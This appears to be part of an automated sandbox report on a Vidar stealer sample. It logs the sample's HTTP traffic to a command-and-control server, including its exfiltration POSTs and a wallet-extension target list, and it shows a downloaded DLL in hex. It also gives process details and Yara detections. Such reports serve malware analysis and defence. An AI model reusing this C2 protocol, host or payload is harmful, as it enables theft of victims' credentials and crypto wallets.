2024-10-02 03:20:35 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 37 33 36 66 63 65 62 64 30 38 32 34 32 36 32 61 64 31 37 37 31 36 64 65 33 35 38 62 63 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 43 46 48 4a 44 42 4b 4b 46 48 49 45 48 49 44 47 0d 0a 43 6f 6e 74 Data Ascii: ------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="token"c1736fcebd0824262ad17716de358bcb------IJKFCFHJDBKKFHIEHIDGContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------IJKFCFHJDBKKFHIEHIDGCont
2024-10-02 03:20:36 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:36 UTC	5685	IN	Data Raw: 31 36 32 38 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1628TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49807	49.12.197.9	443	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:36 UTC	276	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKFCBFHJDHJKECAKEHI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 332 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:36 UTC	332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 37 33 36 66 63 65 62 64 30 38 32 34 32 36 32 61 64 31 37 37 31 36 64 65 33 35 38 62 63 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 43 42 46 48 4a 44 48 4a 4b 45 43 41 4b 45 48 49 0d 0a 43 6f 6e 74 Data Ascii: ------BAKFCBFHJDHJKECAKEHIContent-Disposition: form-data; name="token"c1736fcebd0824262ad17716de358bcb------BAKFCBFHJDHJKECAKEHIContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------BAKFCBFHJDHJKECAKEHICont
2024-10-02 03:20:37 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:37 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49808	49.12.197.9	443	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:38 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIEHJEBAAFIDHJEBGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 5437 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:38 UTC	5437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 45 48 4a 45 42 41 41 46 49 44 48 4a 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 37 33 36 66 63 65 62 64 30 38 32 34 32 36 32 61 64 31 37 37 31 36 64 65 33 35 38 62 63 62 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 45 48 4a 45 42 41 41 46 49 44 48 4a 45 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 45 48 4a 45 42 41 41 46 49 44 48 4a 45 42 47 49 0d 0a 43 6f 6e 74 Data Ascii: ------GDHIEHJEBAAFIDHJEBGIContent-Disposition: form-data; name="token"c1736fcebd0824262ad17716de358bcb------GDHIEHJEBAAFIDHJEBGIContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------GDHIEHJEBAAFIDHJEBGICont
2024-10-02 03:20:39 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:39 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49809	49.12.197.9	443	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:39 UTC	192	OUT	GET /sqlp.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:39 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:39 GMT Content-Type: application/octet-stream Content-Length: 2459136 Connection: close Last-Modified: Wednesday, 02-Oct-2024 03:20:39 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-10-02 03:20:39 UTC	16120	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-10-02 03:20:39 UTC	16384	IN	Data Raw: d3 b2 1e 00 e9 9c 25 1b 00 e9 3a f0 19 00 e9 9e cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: %:X~e!*FW\|>\|L1146
2024-10-02 03:20:39 UTC	16384	IN	Data Raw: 24 10 8b c3 0f 1f 40 00 8a 10 3a 11 75 1a 84 d2 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 Data Ascii: $@:utP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhS
2024-10-02 03:20:39 UTC	16384	IN	Data Raw: 83 f9 39 77 12 8d 1c 9b 46 8d 5b e8 8d 1c 59 0f be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 Data Ascii: 9wF[Y0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5
2024-10-02 03:20:39 UTC	16384	IN	Data Raw: 89 4c 24 20 89 44 24 24 3b c2 7f 0c 7c 18 8b 44 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e Data Ascii: L$ D$$;\|D$;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|
2024-10-02 03:20:40 UTC	16384	IN	Data Raw: 8b 7c 24 10 be 07 00 00 00 eb 32 c7 40 08 01 00 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc Data Ascii: \|$2@3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-10-02 03:20:40 UTC	16384	IN	Data Raw: 24 10 83 c4 04 85 f6 74 64 8b 7c 24 14 e9 68 fe ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: $td\|$hT$L$$l$ GT$GL$L$T$_^][_^]3[
2024-10-02 03:20:40 UTC	16384	IN	Data Raw: fe ff 83 c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-10-02 03:20:40 UTC	16384	IN	Data Raw: 1c 89 4a 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 Data Ascii: J,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-10-02 03:20:40 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$
2024-10-02 03:20:41 UTC	16384	IN	DELETE FROM %Q.'%q_docsize' WHERE id=?SELECT sz%s FROM %Q.'%q_docsize' WHERE id=?REPLACE INTO %Q.'%q_config' VALUES(?,?)SELECT %s FROM %s AS T,?,originDROP TABLE IF EXISTS %Q.'%q_data';DROP TABLE IF EXISTS %Q.'%q_idx';DROP TABLE IF EXISTS %Q.'%q_config';DROP TABLE IF EXISTS %Q.'%q_docsize';DROP TABLE IF EXISTS %Q.'%q_content';ALTER TABLE %Q.'%q_%s' RENAME TO '%q_%s';CREATE TABLE %Q.'%q_%q'(%s)%sfts5: error creating shadow table %q_%s: %sid INTEGER PRIMARY KEY, c%did INTEGER PRIMARY KEY, sz BLOBid INTEGER PRIMARY KEY, sz BLOB, origin INTEGERk PRIMARY KEY, vDELETE FROM %Q.'%q_data';DELETE FROM %Q.'%q_idx';DELETE FROM %Q.'%q_docsize';SELECT count() FROM %Q.'%q_%s'tokencharsseparatorsL N* Cocategoriesremove_diacriticscase_sensitiveasciitrigramcolrowinstancefts5vocab: unknown table type: %Q [TRUNCATED] r:Y<\|=>MbP?\|^~?9RF??14????K(??? ?333333?-DT!?@@-DT!@!3\|@@@-DT!@@$@4@>@aTR'>@H@cL@Zd;M@Y@fffff^@r@v@@@p@@@@@@A`&A.A@}<A`FASA TAcApAdyAAeAA _B MB@dB/dB0CW4vCCC [TRUNCATED] i" i"$i"0i"8i"Di"Pi"\i"hi" xi"i"!i"i"i"i"i"i"i"i""i"!!i""!i"9"i"?"D!!i"!i"!i"i"i"i"i"i"i"i"j"j"j"j"j"j"j"j" j",j"8j"Dj"Pj"lj"xj"j"j"j"j" k"Dk"#pk"k" k"k"&l"0l"Dl"Hl"Pl"dl"#l"l"l"l"l"l"%,m"$Xm"%m"+m"m" n""0n"(dn"n"n"n"n"!n"o"0o"Ho"lo"!!9"i"i"D!lj"o"__based(__cdecl__pascal__stdcall__th [TRUNCATED] 9/I?hKd?81UH!G?#$0\|f?KRVnTUUUU?~I$I?gHB;E?q{?x? @ @??@>1\|MCatan2; cC($($($cC($000 cC6@cosUUUUUU?UUUUUU?llV4V>>m0_$@8C`a=`a=@T!?sp.c;`C<??i~@sinh!87Acosh(8UA7Gtanh!87Ay-8C8C0<0<+eGW@+eGW@B.?B.?:;=:;=t?ZfUUU?&WU?{?? [TRUNCATED] !5ACPRSWYlm pr )Y"\"\/"/X"""0"""T"v"""0"x""@"""v"","@"""api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-c [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49810	49.12.197.9	443	6628	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:20:42 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJECGHJDBFIJJJKEHCBF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 49.12.197.9 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-10-02 03:20:42 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 31 37 33 36 66 63 65 62 64 30 38 32 34 32 36 32 61 64 31 37 37 31 36 64 65 33 35 38 62 63 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 38 62 34 64 34 37 35 38 36 38 37 34 62 30 38 39 34 37 32 30 33 66 30 33 65 34 64 62 33 39 36 32 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 48 4a 44 42 46 49 4a 4a 4a 4b 45 48 43 42 46 0d 0a 43 6f 6e 74 Data Ascii: ------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="token"c1736fcebd0824262ad17716de358bcb------JJECGHJDBFIJJJKEHCBFContent-Disposition: form-data; name="build_id"8b4d47586874b08947203f03e4db3962------JJECGHJDBFIJJJKEHCBFCont
2024-10-02 03:20:42 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 03:20:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-02 03:20:42 UTC	15	IN	Data Raw: 35 0d 0a 62 6c 6f 63 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 5block0

Target ID:	0
Start time:	23:18:52
Start date:	01/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x3a0000
File size:	423'840 bytes
MD5 hash:	DFD320AB72A577BCADCFD172F92D17B2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.1666233856.00000000037E5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:18:52
Start date:	01/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
